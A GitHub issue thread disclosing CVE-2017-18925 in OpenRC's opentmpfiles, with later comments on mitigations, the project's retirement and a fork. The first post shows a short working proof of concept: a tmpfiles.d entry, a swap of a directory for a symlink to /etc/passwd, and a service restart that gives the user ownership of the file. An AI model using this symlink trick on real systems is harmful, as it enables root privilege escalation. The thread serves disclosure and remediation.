Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2017-18925: root privilege escalation by symlink attack #4

Closed
orlitzky opened this issue Dec 24, 2017 · 10 comments
Closed

CVE-2017-18925: root privilege escalation by symlink attack #4

orlitzky opened this issue Dec 24, 2017 · 10 comments

Comments

@orlitzky
Copy link

The default behavior of chown when called without the -R flag is to follow symlinks. At least the d type, and possibly the f type, can exploit that fact to take ownership of arbitrary files on the system. For example,

$ cat /etc/tmpfiles.d/exploit-symlink.conf 
d /var/lib/opentmpfiles-exploit-symlink 0755 mjo mjo
d /var/lib/opentmpfiles-exploit-symlink/foo 0755 mjo mjo

The first time that opentmpfiles-setup is run, things are fine; but then suppose I replace "foo" with a symlink:

$ rm -r /var/lib/opentmpfiles-exploit-symlink/foo
$ ln -s /etc/passwd /var/lib/opentmpfiles-exploit-symlink/foo

and restart the service...

$ sudo /etc/init.d/opentmpfiles-setup restart * WARNING: you are stopping a boot service
 * Setting up tmpfiles.d entries ...
mkdir: cannot create directory ‘/var/lib/opentmpfiles-exploit-symlink/foo’: File exists

The call to chown has followed my symlink, and given me ownership of /etc/passwd:

$ /bin/ls -l /etc/passwd
-rwxr-xr-x 1 mjo mjo 1504 Dec 20 14:27 /etc/passwd

The tmpfiles specification is silent on whether or not symlinks should be followed in this case, however, the same vulnerability was addressed in OpenRC's checkpath helper in Gentoo bug #540006.

@galaktipus
Copy link

Hi, this issue was assigned with CVE-2017-18925.
Is there any commit fixing the issue above?

@orlitzky orlitzky changed the title Unsafe use of "chown --dereference" in directory types CVE-2017-18925: root privilege escalation by symlink attack Oct 27, 2020
@orlitzky
Copy link
Author

@gyakovlev
Copy link

gyakovlev commented Oct 29, 2020

I've added systemd-tmpfiles standalone to ::gentoo reop. it does not require dbus/systemd, or anything. it's just a standalone binary, linking to couple system libraries (cap, acl, util-linux)

https://gitweb.gentoo.org/repo/gentoo.git/commit/?id=06d012cc3dacb4a2c7ac2e28553c96965f9ddea9

very lightly tested, of course some work needed before it'll be possible to integrate that and add to virtual, but it's de-facto standard implementation, so it should work fine.

it's not vulnerable to symlink attack.

@gyakovlev
Copy link

and just to clarify, systemd officially supports building standalone systemd-tmpfiles and systemd-sysusers, it was added not so long ago, so this is not a hack.
db64ba8 (#16061)

@szepeviktor
Copy link
Contributor

Hello! Is there a plan to resolve this?

@orlitzky
Copy link
Author

Hello! Is there a plan to resolve this?

The bigger picture here is that it just isn't safe for root to change ownership/permissions of files that live in a user-controlled directory. The symlink and recursive-chown issues can be fixed, but at the very best we are left with a race condition for regular hardlinks.

Pragmatically, your best bet is to:

  1. Switch to systemd-tmpfiles if you're a Gentoo user. It suffers only from the race condition.
  2. Enable the fs.protected_symlinks and fs.protected_hardlinks sysctls if you're on Linux. That fixes the race condition.
  3. Help us find and fix any OpenRC service scripts that call checkpath on a user-controlled path. Checkpath has the same hardlink race condition but we generally don't have to support somebody else's wacky service scripts (like we do with their tmpfiles entries) so it's easier to fix those at the source.

@navid-zamani
Copy link

This is still broken. :/
If the systemd thing was fixed, what’s stopping anyone from implementing the fix the same way for this package?

@thesamesam
Copy link

thesamesam commented Aug 23, 2021

This is still broken. :/

We know.

If the systemd thing was fixed, what’s stopping anyone from implementing the fix the same way for this package?

Most or all of these race conditions/TOCTOU problems can't really be fixed in shell scripts. systemd-tmpfiles is written in C.

Nobody is interested in maintaining opentmpfiles anymore and it's not really thought that there's a need for it now: #19 (comment) (and f33d0ea).

@fungilife
Copy link

https://git.obarun.org/obdev/opentmpfiles.git

@thesamesam
Copy link

thesamesam commented Apr 29, 2022

git.obarun.org/obdev/opentmpfiles.git

This seems to have lost all git history and have no activity since.

EDIT: nor does it seem to have been rewritten, or made any progress towards such, in C or a language which allows avoiding the TOCTOU issues discussed in detail above (which shell cannot).

Diff:

diff --git a/Makefile b/Makefile
index 1daefed..b6f7dcd 100644
--- a/Makefile
+++ b/Makefile
@@ -1,12 +1,30 @@
-binprogs = tmpfiles
-bindir = /bin
-binmode = 0755
-install = install
+it: all

-all:
+-include config.mak
+include package/targets.mak

-install:
-	$(install) -d $(DESTDIR)$(bindir)
-	$(install) -m $(binmode) $(binprogs).sh $(DESTDIR)$(bindir)/$(binprogs)
+INSTALL := ./tools/install.sh

-.PHONY: all install
+ALL_BINS := $(BIN_TARGETS)
+
+all: $(ALL_BINS)
+
+clean:
+	@exec rm -f $(ALL_BINS)
+
+install: install-bin
+install-bin: $(BIN_TARGETS:%=$(DESTDIR)$(script_path)/%)
+
+$(DESTDIR)$(script_path)/%: % package/modes
+	exec $(INSTALL) -D -m 600 $< $@
+	grep -- ^$(@F) < package/modes | { read name mode owner && \
+	if [ x$$owner != x ] ; then chown -- $$owner $@ ; fi && \
+	chmod $$mode $@ ; } && \
+	sed -e 's,@BINDIR@,$(bindir),g' $< > $@
+
+version:
+	@echo $(version)
+
+.PHONY: it all clean install install-bin version
+
+.DELETE_ON_ERROR:
diff --git a/README.md b/README.md
index 72cfff9..3df2ace 100644
--- a/README.md
+++ b/README.md
@@ -1,7 +1,27 @@
-# opentmpfiles
+opentmpfiles is a  utility script written in pure POSIX sh to parse and apply tmpfiles.d style file coming from systemd.
+This script is a modified copy of `https://github.com/OpenRC/opentmpfiles`.

-Since systemd-tmpfiles is a single binary which can be compiled and run
-without systemd, we have decided to retire this project.
-For more information see the related [issue](https://github.com/OpenRC/opentmpfiles/issues/19).
+License
+---

-[![Build Status](https://travis-ci.org/OpenRC/opentmpfiles.svg?branch=master)](https://travis-ci.org/OpenRC/opentmpfiles)
+BSD 2-Clause
+
+Contact information
+---
+
+* Email:
+  Eric Vidal `<eric@obarun.org>`
+
+* Web site:
+  https://web.obarun.org/
+
+* Forum:
+  https://forum.obarun.org/
+
+* XMPP Channel:
+  obarun@muc.syntazia.org
+
+Supports the project
+---
+
+Please consider to make [donation](https://web.obarun.org/index.php?id=18)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

8 participants